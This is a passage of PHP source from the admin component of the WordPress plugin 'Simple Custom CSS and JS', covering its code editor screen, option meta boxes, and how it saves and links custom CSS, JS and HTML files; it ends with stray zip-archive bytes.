			$post_id = esc_attr( $_GET['post'] );
		}
		$language = $this->get_language( $post_id );

		$settings = get_option( 'ccj_settings' );

		// Replace the htmlentities (https://wordpress.org/support/topic/annoying-bug-in-text-editor/), but only selectively
		if ( isset( $settings['ccj_htmlentities'] ) && $settings['ccj_htmlentities'] == 1 && strstr( $post->post_content, '&' ) ) {

			// First the ampresands
			$post->post_content = str_replace( '&amp', htmlentities( '&amp' ), $post->post_content );

			// Then the rest of the entities
			$html_flags = defined( 'ENT_HTML5' ) ? ENT_QUOTES | ENT_HTML5 : ENT_QUOTES;
			$entities   = get_html_translation_table( HTML_ENTITIES, $html_flags );
			unset( $entities[ array_search( '&amp;', $entities ) ] );
			$regular_expression = str_replace( ';', '', '/(' . implode( '|', $entities ) . ')/i' );
			preg_match_all( $regular_expression, $post->post_content, $matches );
			if ( isset( $matches[0] ) && count( $matches[0] ) > 0 ) {
				foreach ( $matches[0] as $_entity ) {
					$post->post_content = str_replace( $_entity, htmlentities( $_entity ), $post->post_content );
				}
			}
		}

		if ( isset( $settings['ccj_htmlentities2'] ) && $settings['ccj_htmlentities2'] == 1 ) {
			$post->post_content = htmlentities( $post->post_content );
		}

		switch ( $language ) {
			case 'js':
				if ( $new_post ) {
					$post->post_content = __(
						'/* Add your JavaScript code here.

If you are using the jQuery library, then don\'t forget to wrap your code inside jQuery.ready() as follows:

jQuery(document).ready(function( $ ){
    // Your code in here
});

--

If you want to link a JavaScript file that resides on another server (similar to
<script src="https://example.com/your-js-file.js"></script>), then please use
the "Add HTML Code" page, as this is a HTML code that links a JavaScript file.

End of comment */ ',
						'custom-css-js'
					) . PHP_EOL . PHP_EOL;
				}
				$code_mirror_mode   = 'text/javascript';
				$code_mirror_before = '<script type="text/javascript">';
				$code_mirror_after  = '</script>';
				break;
			case 'html':
				if ( $new_post ) {
					$post->post_content = __(
						'<!-- Add HTML code to the header or the footer.

For example, you can use the following code for loading the jQuery library from Google CDN:
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>

or the following one for loading the Bootstrap library from jsDelivr:
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-T3c6CoIi6uLrA9TneNEoa7RxnatzjcDSCmG1MXxSR1GAsXEV/Dwwykc2MPK8M2HN" crossorigin="anonymous">

-- End of the comment --> ',
						'custom-css-js'
					) . PHP_EOL . PHP_EOL;
				}
				$code_mirror_mode   = 'html';
				$code_mirror_before = '';
				$code_mirror_after  = '';
				break;

			case 'php':
				if ( $new_post ) {
					$post->post_content = '/* The following will be executed as if it were written in functions.php. */' . PHP_EOL . PHP_EOL;
				}
				$code_mirror_mode   = 'php';
				$code_mirror_before = '<?php';
				$code_mirror_after  = '?>';

				break;
			default:
				if ( $new_post ) {
					$post->post_content = __(
						'/* Add your CSS code here.

For example:
.example {
    color: red;
}

For brushing up on your CSS knowledge, check out http://www.w3schools.com/css/css_syntax.asp

End of comment */ ',
						'custom-css-js'
					) . PHP_EOL . PHP_EOL;

				}
				$code_mirror_mode   = 'text/css';
				$code_mirror_before = '<style type="text/css">';
				$code_mirror_after  = '</style>';

		}

		?>

				<div class="code-mirror-buttons">
				<div class="button-left"><span rel="tipsy" original-title="<?php _e( 'Beautify Code', 'custom-css-js-pro' ); ?>"><button type="button" tabindex="-1" id="ccj-beautifier"><i class="ccj-i-beautifier"></i></button></span></div>
				<!--div class="button-left"><span rel="tipsy" original-title="<?php _e( 'Editor Settings', 'custom-css-js-pro' ); ?>"><button type="button" tabindex="-1" id="ccj-settings"><i class="ccj-i-settings"></i></button></span></div -->
				<div class="button-right" id="ccj-fullscreen-button" alt="<?php _e( 'Distraction-free writing mode', 'custom-css-js-pro' ); ?>"><span rel="tipsy" original-title="<?php _e( 'Fullscreen', 'custom-css-js-pro' ); ?>"><button role="presentation" type="button" tabindex="-1"><i class="ccj-i-fullscreen"></i></button></span></div>
<input type="hidden" name="fullscreen" id="ccj-fullscreen-hidden" value="false" />
<!-- div class="button-right" id="ccj-search-button" alt="Search"><button role="presentation" type="button" tabindex="-1"><i class="ccj-i-find"></i></button></div -->

				</div>

				<div class="code-mirror-before"><div><?php echo htmlentities( $code_mirror_before ); ?></div></div>
				<textarea class="wp-editor-area" id="ccj_content" mode="<?php echo htmlentities( $code_mirror_mode ); ?>" name="content" autofocus><?php echo $post->post_content; ?></textarea>
				<div class="code-mirror-after"><div><?php echo htmlentities( $code_mirror_after ); ?></div></div>

				<table id="post-status-info"><tbody><tr>
					<td class="autosave-info">
					<span class="autosave-message">&nbsp;</span>
				<?php
				if ( 'auto-draft' != $post->post_status ) {
					echo '<span id="last-edit">';
					if ( $last_user = get_userdata( get_post_meta( $post->ID, '_edit_last', true ) ) ) {
						printf( __( 'Last edited by %1$s on %2$s at %3$s', 'custom-css-js-pro' ), esc_html( $last_user->display_name ), mysql2date( get_option( 'date_format' ), $post->post_modified ), mysql2date( get_option( 'time_format' ), $post->post_modified ) );
					} else {
						printf( __( 'Last edited on %1$s at %2$s', 'custom-css-js-pro' ), mysql2date( get_option( 'date_format' ), $post->post_modified ), mysql2date( get_option( 'time_format' ), $post->post_modified ) );
					}
					echo '</span>';
				}
				?>
					</td>
				</tr></tbody></table>


				<input type="hidden" id="update-post_<?php echo $post->ID; ?>" value="<?php echo wp_create_nonce( 'update-post_' . $post->ID ); ?>" />
		<?php

	}



	/**
	 * Show the options form in the `post` screen
	 */
	function custom_code_options_meta_box_callback( $post ) {

			$options = $this->get_options( $post->ID );
		if ( ! isset( $options['preprocessor'] ) ) {
			$options['preprocessor'] = 'none';
		}

		if ( isset( $_GET['language'] ) ) {
			$options['language'] = $this->get_language();
		}

			$meta = $this->get_options_meta();
		if ( $options['language'] == 'html' ) {
			$meta = $this->get_options_meta_html();
		}

		$options['multisite'] = false;

		wp_nonce_field( 'options_save_meta_box_data', 'custom-css-js_meta_box_nonce' );

		?>
			<div class="options_meta_box">
			<?php

			$output = '';

			foreach ( $meta as $_key => $a ) {
				$close_div = false;

				if ( ( $_key == 'preprocessor' && $options['language'] == 'css' ) ||
					( $_key == 'linking' && $options['language'] == 'html' ) ||
					in_array( $_key, ['priority', 'minify', 'multisite' ] ) ) {
					$close_div = true;
					$output   .= '<div class="ccj_opaque">';
				}

				// Don't show Pre-processors for JavaScript Codes
				if ( $options['language'] == 'js' && $_key == 'preprocessor' ) {
					continue;
				}

				$output .= '<h3>' . esc_attr( $a['title'] ) . '</h3>' . PHP_EOL;

				$output .= $this->render_input( $_key, $a, $options );

				if ( $close_div ) {
					$output .= '</div>';
				}
			}

			echo $output;

			?>

			<input type="hidden" name="custom_code_language" value="<?php echo $options['language']; ?>" />

			<div style="clear: both;"></div>

			</div>

			<div class="ccj_only_premium ccj_only_premium-right">
				<div>
				<a href="https://www.silkypress.com/simple-custom-css-js-pro/?utm_source=wordpress&utm_campaign=ccj_free&utm_medium=banner" target="_blank"><?php _e( 'Available only in <br />Simple Custom CSS and JS Pro', 'custom-css-js' ); ?></a>
				</div>
			</div>


			<?php
	}


	/**
	 * Get an array with all the information for building the code's options
	 */
	function get_options_meta() {
		global $wp_version;

		$options = array(
			'linking'      => array(
				'title'   => __( 'Linking type', 'custom-css-js' ),
				'type'    => 'radio',
				'default' => 'internal',
				'values'  => array(
					'external' => array(
						'title'    => __( 'External File', 'custom-css-js' ),
						'dashicon' => 'media-code',
					),
					'internal' => array(
						'title'    => __( 'Internal', 'custom-css-js' ),
						'dashicon' => 'editor-alignleft',
					),
				),
			),
			'type'         => array(
				'title'   => __( 'Where on page', 'custom-css-js' ),
				'type'    => 'radio',
				'default' => 'header',
				'values'  => array(
					'header' => array(
						'title'    => __( 'In the <head> element', 'custom-css-js' ),
						'dashicon' => 'arrow-up-alt2',
					),
					'footer' => array(
						'title'    => __( 'In the <footer> element', 'custom-css-js' ),
						'dashicon' => 'arrow-down-alt2',
					),
				),
			),
			'side'         => array(
				'title'   => __( 'Where in site', 'custom-css-js' ),
				'type'    => 'checkbox',
				'default' => 'frontend',
				'values'  => array(
					'frontend' => array(
						'title'    => __( 'In Frontend', 'custom-css-js' ),
						'dashicon' => 'tagcloud',
					),
					'block' => array(
						'title'    => __( 'In Block editor', 'custom-css-js' ),
						'dashicon' => 'layout',
					),
					'admin'    => array(
						'title'    => __( 'In Admin', 'custom-css-js' ),
						'dashicon' => 'id',
					),
					'login'    => array(
						'title'    => __( 'On Login Page', 'custom-css-js' ),
						'dashicon' => 'admin-network',
					),
				),
			),
			'preprocessor' => array(
				'title'    => __( 'CSS Preprocessor', 'custom-css-js' ),
				'type'     => 'radio',
				'default'  => 'none',
				'values'   => array(
					'none' => array(
						'title' => __( 'None', 'custom-css-js' ),
					),
					'sass' => array(
						'title' => __( 'Sass (only SCSS syntax)', 'custom-css-js' ),
					),
					'less' => array(
						'title' => __( 'Less', 'custom-css-js' ),
					),
				),
				'disabled' => true,
			),
			'minify'       => array(
				'title'    => __( 'Minify the code', 'custom-css-js' ),
				'type'     => 'checkbox',
				'default'  => false,
				'dashicon' => 'editor-contract',
				'disabled' => true,
			),
			'priority'     => array(
				'title'    => __( 'Priority', 'custom-css-js' ),
				'type'     => 'select',
				'default'  => 5,
				'dashicon' => 'sort',
				'values'   => array(
					1  => _x( '1 (highest)', '1 is the highest priority', 'custom-css-js' ),
					2  => '2',
					3  => '3',
					4  => '4',
					5  => '5',
					6  => '6',
					7  => '7',
					8  => '8',
					9  => '9',
					10 => _x( '10 (lowest)', '10 is the lowest priority', 'custom-css-js' ),
				),
				'disabled' => true,
			),
		);

		if ( version_compare( $wp_version, '6.6', '<' ) ) {
			$in_block_tipsy = __( 'The "In Block editor" option is available only for "Linking type: External File". For WordPress >= 6.6 the "In Block editor" option is available for both linking types.', 'custom-css-js' );
			$in_block_tipsy = htmlentities( $in_block_tipsy );
			$in_block_tipsy = '<span rel="tipsy" class="dashicons dashicons-editor-help tipsy-no-html" style="margin: 7px 3px 0 3px; display: none;" title="' . $in_block_tipsy . '"></span>';
			$options['side']['values']['block']['title'] .= $in_block_tipsy; 
		}

		if ( ! version_compare( $wp_version, '5.0' ) || class_exists( 'Classic_Editor' ) ) {
			// Remove the "In Block editor" option only for WP < 5 or if the "Classic Editor" plugin installed
			unset( $options['side']['values']['block'] );
		}

		if ( is_multisite() && is_super_admin() && is_main_site() ) {
			$options['multisite'] = array(
				'title'    => __( 'Apply network wide', 'custom-css-js-pro' ),
				'type'     => 'checkbox',
				'default'  => false,
				'dashicon' => 'admin-multisite',
				'disabled' => true,
			);
		}

		return $options;
	}


	/**
	 * Get an array with all the information for building the code's options
	 */
	function get_options_meta_html() {
		$options = array(
			'type'     => array(
				'title'   => __( 'Where on page', 'custom-css-js' ),
				'type'    => 'radio',
				'default' => 'header',
				'values'  => array(
					'header' => array(
						'title'    => __( 'Header', 'custom-css-js' ),
						'dashicon' => 'arrow-up-alt2',
					),
					'footer' => array(
						'title'    => __( 'Footer', 'custom-css-js' ),
						'dashicon' => 'arrow-down-alt2',
					),
				),
			),
			'side'     => array(
				'title'   => __( 'Where in site', 'custom-css-js' ),
				'type'    => 'checkbox',
				'default' => 'frontend',
				'values'  => array(
					'frontend' => array(
						'title'    => __( 'In Frontend', 'custom-css-js' ),
						'dashicon' => 'tagcloud',
					),
					'admin'    => array(
						'title'    => __( 'In Admin', 'custom-css-js' ),
						'dashicon' => 'id',
					),
				),
			),
			'linking'  => array(
				'title'    => __( 'On which device', 'custom-css-js' ),
				'type'     => 'radio',
				'default'  => 'both',
				'dashicon' => '',
				'values'   => array(
					'desktop' => array(
						'title'    => __( 'Desktop', 'custom-css-js' ),
						'dashicon' => 'desktop',
					),
					'mobile'  => array(
						'title'    => __( 'Mobile', 'custom-css-js' ),
						'dashicon' => 'smartphone',
					),
					'both'    => array(
						'title'    => __( 'Both', 'custom-css-js' ),
						'dashicon' => 'tablet',
					),
				),
				'disabled' => true,
			),
			'priority' => array(
				'title'    => __( 'Priority', 'custom-css-js' ),
				'type'     => 'select',
				'default'  => 5,
				'dashicon' => 'sort',
				'values'   => array(
					1  => _x( '1 (highest)', '1 is the highest priority', 'custom-css-js' ),
					2  => '2',
					3  => '3',
					4  => '4',
					5  => '5',
					6  => '6',
					7  => '7',
					8  => '8',
					9  => '9',
					10 => _x( '10 (lowest)', '10 is the lowest priority', 'custom-css-js' ),
				),
				'disabled' => true,
			),

		);

		if ( function_exists( 'wp_body_open' ) ) {
			$tmp = $options['type']['values'];
			unset( $options['type']['values'] );
			$options['type']['values']['header']    = $tmp['header'];
			$options['type']['values']['body_open'] = array(
				'title'    => __( 'After &lt;body&gt; tag', 'custom-css-js' ),
				'dashicon' => 'editor-code',
			);
			$options['type']['values']['footer']    = $tmp['footer'];
		}

		if ( is_multisite() && is_super_admin() && is_main_site() ) {
			$options['multisite'] = array(
				'title'    => __( 'Apply network wide', 'custom-css-js-pro' ),
				'type'     => 'checkbox',
				'default'  => false,
				'dashicon' => 'admin-multisite',
				'disabled' => true,
			);
		}

		return $options;
	}


	/**
	 * Save the post and the metadata
	 */
	function options_save_meta_box_data( $post_id ) {

		// The usual checks
		if ( ! isset( $_POST['custom-css-js_meta_box_nonce'] ) ) {
			return;
		}

		if ( ! wp_verify_nonce( $_POST['custom-css-js_meta_box_nonce'], 'options_save_meta_box_data' ) ) {
			return;
		}

		if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {
			return;
		}

		if ( isset( $_POST['post_type'] ) && 'custom-css-js' != $_POST['post_type'] ) {
			return;
		}

		// Update the post's meta
		$defaults = array(
			'type'     => 'header',
			'linking'  => 'internal',
			'priority' => 5,
			'side'     => 'frontend',
			'language' => 'css',
		);

		if ( $_POST['custom_code_language'] == 'html' ) {
			$defaults = array(
				'type'     => 'header',
				'linking'  => 'both',
				'side'     => 'frontend',
				'language' => 'html',
				'priority' => 5,
			);
		}

		foreach ( $defaults as $_field => $_default ) {
			$options[ $_field ] = isset( $_POST[ 'custom_code_' . $_field ] ) ? esc_attr( strtolower( $_POST[ 'custom_code_' . $_field ] ) ) : $_default;
		}

		$options['side'] = [];
		foreach ( ['frontend', 'block', 'admin', 'login'] as $_side ) {
			if ( isset( $_POST[ 'custom_code_side-' . $_side ] ) && $_POST[ 'custom_code_side-' . $_side ] == '1' ) {
				$options['side'][] = $_side;
			}
		}
		if ( count( $options['side'] ) === 0 ) {
			$options['side'] = ['frontend'];
		}
		$options['side'] = implode(',', $options['side'] );

		$options['language'] = in_array( $options['language'], array( 'html', 'css', 'js' ), true ) ? $options['language'] : $defaults['language'];

		update_post_meta( $post_id, 'options', $options );

		if ( $options['language'] == 'html' ) {
			$this->build_search_tree();
			return;
		}

		if ( $options['language'] == 'js' ) {
			// Replace the default comment
			if ( preg_match( '@/\* Add your JavaScript code here[\s\S]*?End of comment \*/@im', $_POST['content'] ) ) {
				$_POST['content'] = preg_replace( '@/\* Add your JavaScript code here[\s\S]*?End of comment \*/@im', '/* Default comment here */', $_POST['content'] );
			}

			// For other locales remove all the comments
			if ( substr( get_locale(), 0, 3 ) !== 'en_' ) {
				$_POST['content'] = preg_replace( '@/\*[\s\S]*?\*/@', '', $_POST['content'] );
			}
		}

		// Save the Custom Code in a file in `wp-content/uploads/custom-css-js`
		if ( $options['linking'] == 'internal' ) {

			$before = '<!-- start Simple Custom CSS and JS -->' . PHP_EOL;
			$after  = '<!-- end Simple Custom CSS and JS -->' . PHP_EOL;
			if ( $options['language'] == 'css' ) {
				$before .= '<style type="text/css">' . PHP_EOL;
				$after   = '</style>' . PHP_EOL . $after;
			}
			if ( $options['language'] == 'js' ) {
				if ( ! preg_match( '/<script\b[^>]*>([\s\S]*?)<\/script>/im', $_POST['content'] ) ) {
					$before .= '<script type="text/javascript">' . PHP_EOL;
					$after   = '</script>' . PHP_EOL . $after;
				} else {
					// the content has a <script> tag, then remove the comments so they don't show up on the frontend
					$_POST['content'] = preg_replace( '@/\*[\s\S]*?\*/@', '', $_POST['content'] );
				}
			}
		}

		if ( $options['linking'] == 'external' ) {
			$before = '/******* Do not edit this file *******' . PHP_EOL .
			'Simple Custom CSS and JS - by Silkypress.com' . PHP_EOL .
			'Saved: ' . date( 'M d Y | H:i:s' ) . ' */' . PHP_EOL;
			$after  = '';
		}

		if ( wp_is_writable( CCJ_UPLOAD_DIR ) ) {
			$file_name    = $post_id . '.' . $options['language'];
			$file_content = $before . stripslashes( $_POST['content'] ) . $after;
			@file_put_contents( CCJ_UPLOAD_DIR . '/' . $file_name, $file_content );

			// save the file as the Permalink slug
			$slug = get_post_meta( $post_id, '_slug', true );
			if ( $slug ) {
				@file_put_contents( CCJ_UPLOAD_DIR . '/' . sanitize_file_name( $slug ) . '.' . $options['language'], $file_content );
			}
		}

		$this->build_search_tree();
	}

	/**
	 * Create the custom-css-js dir in uploads directory
	 *
	 * Show a message if the directory is not writable
	 *
	 * Create an empty index.php file inside
	 */
	function create_uploads_directory() {
		$current_screen = get_current_screen();

		// Check if we are editing a custom-css-js post
		if ( $current_screen->base != 'post' || $current_screen->post_type != 'custom-css-js' ) {
			return false;
		}

		$dir = CCJ_UPLOAD_DIR;

		// Create the dir if it doesn't exist
		if ( ! file_exists( $dir ) ) {
			wp_mkdir_p( $dir );
		}

		// Show a message if it couldn't create the dir
		if ( ! file_exists( $dir ) ) :
			?>
			 <div class="notice notice-error is-dismissible">
			 <p><?php printf( __( 'The %s directory could not be created', 'custom-css-js' ), '<b>custom-css-js</b>' ); ?></p>
			 <p><?php _e( 'Please run the following commands in order to make the directory', 'custom-css-js' ); ?>: <br /><strong>mkdir <?php echo $dir; ?>; </strong><br /><strong>chmod 777 <?php echo $dir; ?>;</strong></p>
			</div>
			<?php
			return;
endif;

		// Show a message if the dir is not writable
		if ( ! wp_is_writable( $dir ) ) :
			?>
			 <div class="notice notice-error is-dismissible">
			 <p><?php printf( __( 'The %s directory is not writable, therefore the CSS and JS files cannot be saved.', 'custom-css-js' ), '<b>' . $dir . '</b>' ); ?></p>
			 <p><?php _e( 'Please run the following command to make the directory writable', 'custom-css-js' ); ?>:<br /><strong>chmod 777 <?php echo $dir; ?> </strong></p>
			</div>
			<?php
			return;
endif;

		// Write a blank index.php
		if ( ! file_exists( $dir . '/index.php' ) ) {
			$content = '<?php' . PHP_EOL . '// Silence is golden.';
			@file_put_contents( $dir . '/index.php', $content );
		}
	}


	/**
	 * Build a tree where you can quickly find the needed custom-css-js posts
	 *
	 * @return void
	 */
	private function build_search_tree() {

		// Retrieve all the custom-css-js codes
		$posts = query_posts( 'post_type=custom-css-js&post_status=publish&nopaging=true' );

		$tree = array();
		foreach ( $posts as $_post ) {
			if ( ! $this->is_active( $_post->ID ) ) {
				continue;
			}

			$options = $this->get_options( $_post->ID );

			$filename = $_post->ID . '.' . $options['language'];

			if ( $options['linking'] == 'external' ) {
				$filename .= '?v=' . rand( 1, 10000 );
			}

			// Add the code file names to the branches, example: frontend-css-header-external
			$sides = explode( ',', $options['side'] );
			$branch = $options['language'] . '-' . $options['type'] . '-' . $options['linking'];
			foreach ( $sides as $_side ) {
				$tree[ $_side . '-' . $branch ][] = $filename;
			}

			// Mark to enqueue the jQuery library, if necessary
			if ( $options['language'] === 'js' && strstr( $options['side'], 'frontend' ) ) {
				$_post->post_content = preg_replace( '@/\* Add your JavaScript code here[\s\S]*?End of comment \*/@im', '/* Default comment here */', $_post->post_content );
				if ( preg_match( '/jquery\s*(\(|\.)/i', $_post->post_content ) && ! isset( $tree['jquery'] ) ) {
					$tree['jquery'] = true;
				}
			}

		}

		// Save the tree in the database
		update_option( 'custom-css-js-tree', $tree );
	}

	/**
	 * Rebuilt the tree when you trash or restore a custom code
	 */
	function trash_post( $post_id ) {
		$this->build_search_tree();
	}

	/**
	 * Render the checkboxes, radios, selects and inputs
	 */
	function render_input( $_key, $a, $options ) {
		$name   = 'custom_code_' . $_key;
		$output = '';

		// Show radio type options
		if ( $a['type'] === 'radio' ) {
			$output .= '<div class="radio-group">' . PHP_EOL;
			foreach ( $a['values'] as $__key => $__value ) {
				$id        = $name . '-' . $__key;
				$dashicons = isset( $__value['dashicon'] ) ? 'dashicons-before dashicons-' . $__value['dashicon'] : '';
				$selected  = ( isset( $a['disabled'] ) && $a['disabled'] ) ? ' disabled="disabled"' : '';
				$selected .= ( $__key == $options[ $_key ] ) ? ' checked="checked" ' : '';
				$output   .= '<input type="radio" ' . $selected . 'value="' . $__key . '" name="' . $name . '" id="' . $id . '">' . PHP_EOL;
				$output   .= '<label class="' . $dashicons . '" for="' . $id . '"> ' . esc_attr( $__value['title'] ) . '</label><br />' . PHP_EOL;
			}
			$output .= '</div>' . PHP_EOL;
		}

		// Show checkbox type options
		if ( $a['type'] == 'checkbox' ) {
			$output .= '<div class="radio-group">' . PHP_EOL;
			if ( isset( $a['values'] ) && count( $a['values'] ) > 0 ) {
				$current_values = explode(',', $options[ $_key ] );
				foreach ( $a['values'] as $__key => $__value ) {
					$id        = $name . '-' . $__key;
					$dashicons = isset( $__value['dashicon'] ) ? 'dashicons-before dashicons-' . $__value['dashicon'] : '';
					$selected  = ( isset( $a['disabled'] ) && $a['disabled'] ) ? ' disabled="disabled"' : '';
					$selected .= ( in_array( $__key, $current_values ) ) ? ' checked="checked" ' : '';
					$output   .= '<input type="checkbox" ' . $selected . ' value="1" name="' . $id . '" id="' . $id . '">' . PHP_EOL;
					$output   .= '<label class="' . $dashicons . '" for="' . $id . '"> ' . $__value['title'] . '</label><br />' . PHP_EOL;
				}
			} else {
				$dashicons = isset( $a['dashicon'] ) ? 'dashicons-before dashicons-' . $a['dashicon'] : '';
				$selected  = ( isset( $options[ $_key ] ) && $options[ $_key ] == '1' ) ? ' checked="checked" ' : '';
				$selected .= ( isset( $a['disabled'] ) && $a['disabled'] ) ? ' disabled="disabled"' : '';
				$output   .= '<input type="checkbox" ' . $selected . ' value="1" name="' . $name . '" id="' . $name . '">' . PHP_EOL;
				$output   .= '<label class="' . $dashicons . '" for="' . $name . '"> ' . $a['title'] . '</label>' . PHP_EOL;
			}
			$output .= '</div>' . PHP_EOL;
		}

		// Show select type options
		if ( $a['type'] == 'select' ) {
			$output .= '<div class="radio-group">' . PHP_EOL;
			$output .= '<select name="' . $name . '" id="' . $name . '">' . PHP_EOL;
			foreach ( $a['values'] as $__key => $__value ) {
				$selected = ( isset( $options[ $_key ] ) && $options[ $_key ] == $__key ) ? ' selected="selected"' : '';
				$output  .= '<option value="' . $__key . '"' . $selected . '>' . esc_attr( $__value ) . '</option>' . PHP_EOL;
			}
			$output .= '</select>' . PHP_EOL;
			$output .= '</div>' . PHP_EOL;
		}

		return $output;

	}


	/**
	 * Get the language for the current post
	 */
	function get_language( $post_id = false ) {
		if ( $post_id !== false ) {
			$options  = $this->get_options( $post_id );
			$language = $options['language'];
		} else {
			$language = isset( $_GET['language'] ) ? esc_attr( strtolower( $_GET['language'] ) ) : 'css';
		}
		if ( ! in_array( $language, array( 'css', 'js', 'html' ) ) ) {
			$language = 'css';
		}

		return $language;
	}


	/**
	 * Show the activate/deactivate link in the row's action area
	 */
	function post_row_actions( $actions, $post ) {
		if ( 'custom-css-js' !== $post->post_type ) {
			return $actions;
		}

		$url = wp_nonce_url( admin_url( 'admin-ajax.php?action=ccj_active_code&code_id=' . $post->ID ), 'ccj-active-code-' . $post->ID );
		if ( $this->is_active( $post->ID ) ) {
			$active_title = __( 'The code is active. Click to deactivate it', 'custom-css-js' );
			$active_text  = __( 'Deactivate', 'custom-css-js' );
		} else {
			$active_title = __( 'The code is inactive. Click to activate it', 'custom-css-js' );
			$active_text  = __( 'Activate', 'custom-css-js' );
		}
		$actions['activate'] = '<a href="' . esc_url( $url ) . '" title="' . $active_title . '" class="ccj_activate_deactivate" data-code-id="' . $post->ID . '">' . $active_text . '</a>';

		return $actions;
	}


	/**
	 * Show the activate/deactivate link in admin.
	 */
	public function post_submitbox_start() {
		global $post;

		if ( ! is_object( $post ) ) {
			return;
		}

		if ( 'custom-css-js' !== $post->post_type ) {
			return;
		}

		if ( ! isset( $_GET['post'] ) ) {
			return;
		}

		$url = wp_nonce_url( admin_url( 'admin-ajax.php?action=ccj_active_code&code_id=' . $post->ID ), 'ccj-active-code-' . $post->ID );

		if ( $this->is_active( $post->ID ) ) {
			$text   = __( 'Active', 'custom-css-js' );
			$action = __( 'Deactivate', 'custom-css-js' );
		} else {
			$text   = __( 'Inactive', 'custom-css-js' );
			$action = __( 'Activate', 'custom-css-js' );
		}
		?>
		<div id="activate-action"><span style="font-weight: bold;"><?php echo $text; ?></span>
		(<a class="ccj_activate_deactivate" data-code-id="<?php echo $post->ID; ?>" href="<?php echo esc_url( $url ); ?>"><?php echo $action; ?></a>)
		</div>
		<?php
	}


	/**
	 * Show the Permalink edit form
	 */
	function edit_form_before_permalink( $filename = '', $permalink = '', $filetype = 'css' ) {
		if ( isset( $_GET['language'] ) ) {
			$filetype = strtolower(trim($_GET['language']));
		}

		if ( ! in_array( $filetype, array( 'css', 'js' ) ) ) {
			return;
		}

		if ( ! is_string( $filename ) ) {
			global $post;
			if ( ! is_object( $post ) ) {
				return;
			}
			if ( 'custom-css-js' !== $post->post_type ) {
				return;
			}

			$post    = $filename;
			$slug    = get_post_meta( $post->ID, '_slug', true );
			$options = get_post_meta( $post->ID, 'options', true );

			if ( is_array( $options ) && isset( $options['language'] ) ) {
				$filetype = $options['language'];
			}
			if ( $filetype === 'html' ) {
				return;
			}
			if ( ! @file_exists( CCJ_UPLOAD_DIR . '/' . $slug . '.' . $filetype ) ) {
				$slug = false;
			}
			$filename = ( $slug ) ? $slug : $post->ID;
		}

		if ( empty( $permalink ) ) {
			$permalink = CCJ_UPLOAD_URL . '/' . $filename . '.' . $filetype;
		}

		?>
		<div class="inside">
			<div id="edit-slug-box" class="hide-if-no-js">
				<strong>Permalink:</strong>
				<span id="sample-permalink"><a href="<?php echo esc_url( $permalink ); ?>"><?php echo esc_html( CCJ_UPLOAD_URL ) . '/'; ?><span id="editable-post-name"><?php echo esc_html( $filename ); ?></span>.<?php echo esc_html( $filetype ); ?></a></span>
				&lrm;<span id="ccj-edit-slug-buttons"><button type="button" class="ccj-edit-slug button button-small hide-if-no-js" aria-label="Edit permalink">Edit</button></span>
				<span id="editable-post-name-full" data-filetype="<?php echo $filetype; ?>"><?php echo esc_html( $filename ); ?></span>
			</div>
			<?php wp_nonce_field( 'ccj-permalink', 'ccj-permalink-nonce' ); ?>
		</div>
		<?php
	}


	/**
	 * AJAX save the Permalink slug
	 */
	function wp_ajax_ccj_permalink() {

		if ( ! isset( $_POST['ccj_permalink_nonce'] ) ) {
			return;
		}

		if ( ! wp_verify_nonce( $_POST['ccj_permalink_nonce'], 'ccj-permalink' ) ) {
			return;
		}

		$code_id   = isset( $_POST['code_id'] ) ? intval( $_POST['code_id'] ) : 0;
		$permalink = isset( $_POST['permalink'] ) ? $_POST['permalink'] : null;
		$slug      = isset( $_POST['new_slug'] ) ? trim( sanitize_file_name( $_POST['new_slug'] ) ) : null;
		$filetype  = isset( $_POST['filetype'] ) ? $_POST['filetype'] : 'css';
		if ( empty( $slug ) ) {
			$slug = (string) $code_id;
		} else {
			update_post_meta( $code_id, '_slug', $slug );
		}
		$this->edit_form_before_permalink( $slug, $permalink, $filetype );

		wp_die();
	}


	/**
	 * Show contextual help for the Custom Code edit page
	 */
	public function contextual_help() {
		$screen = get_current_screen();

		if ( $screen->id != 'custom-css-js' ) {
			return;
		}

		$screen->add_help_tab(
			array(
				'id'      => 'ccj-editor_shortcuts',
				'title'   => __( 'Editor Shortcuts', 'custom-css-js-pro' ),
				'content' =>
							  '<p><table>
            <tr><td><strong>Auto Complete</strong></td><td> <code>Ctrl</code> + <code>Space</code></td></tr>
            <tr><td><strong>Find</strong></td><td> <code>Ctrl</code> + <code>F</code></td></tr>
            <tr><td><strong>Replace</strong></td><td> <code>Shift</code> + <code>Ctrl</code> + <code>F</code></td></tr>
            <tr><td><strong>Save</strong></td><td> <code>Ctrl</code> + <code>S</code></td></tr>
            <tr><td><strong>Comment line/block</strong></td><td> <code>Ctrl</code> + <code>/</code></td></tr>
            <tr><td><strong>Code folding</strong></td><td> <code>Ctrl</code> + <code>Q</code></td></tr>
            </table></p>',
			)
		);

	}


	/**
	 * Remove the JS/CSS file from the disk when deleting the post
	 */
	function before_delete_post( $postid ) {
		global $post;
		if ( ! is_object( $post ) ) {
			return;
		}
		if ( 'custom-css-js' !== $post->post_type ) {
			return;
		}
		if ( ! wp_is_writable( CCJ_UPLOAD_DIR ) ) {
			return;
		}

		$options = get_post_meta( $postid, 'options', true );
		if ( ! is_array( $options ) ) {
			return;
		}

		$options['language'] = ( isset( $options['language'] ) ) ? strtolower( $options['language'] ) : 'css';
		$options['language'] = in_array( $options['language'], array( 'html', 'js', 'css' ), true ) ? $options['language'] : 'css';

		$slug = get_post_meta( $postid, '_slug', true );
		$slug = sanitize_file_name( $slug );

		$file_name = $postid . '.' . $options['language'];

		@unlink( CCJ_UPLOAD_DIR . '/' . $file_name );

		if ( ! empty( $slug ) ) {
			@unlink( CCJ_UPLOAD_DIR . '/' . $slug . '.' . $options['language'] );
		}
	}


	/**
	 * Fix for bug: white page Edit Custom Code for WordPress 5.0 with Classic Editor
	 */
	function current_screen_2() {
		$screen = get_current_screen();

		if ( $screen->post_type != 'custom-css-js' ) {
			return false;
		}

		remove_filter( 'use_block_editor_for_post', array( 'Classic_Editor', 'choose_editor' ), 100, 2 );
		add_filter( 'use_block_editor_for_post', '__return_false', 100 );
		add_filter( 'use_block_editor_for_post_type', '__return_false', 100 );
	}
}

return new CustomCSSandJS_Admin();
PK     ]t]Žìó“      includes/admin-warnings.phpnu ÕIw¶´        <?php
/**
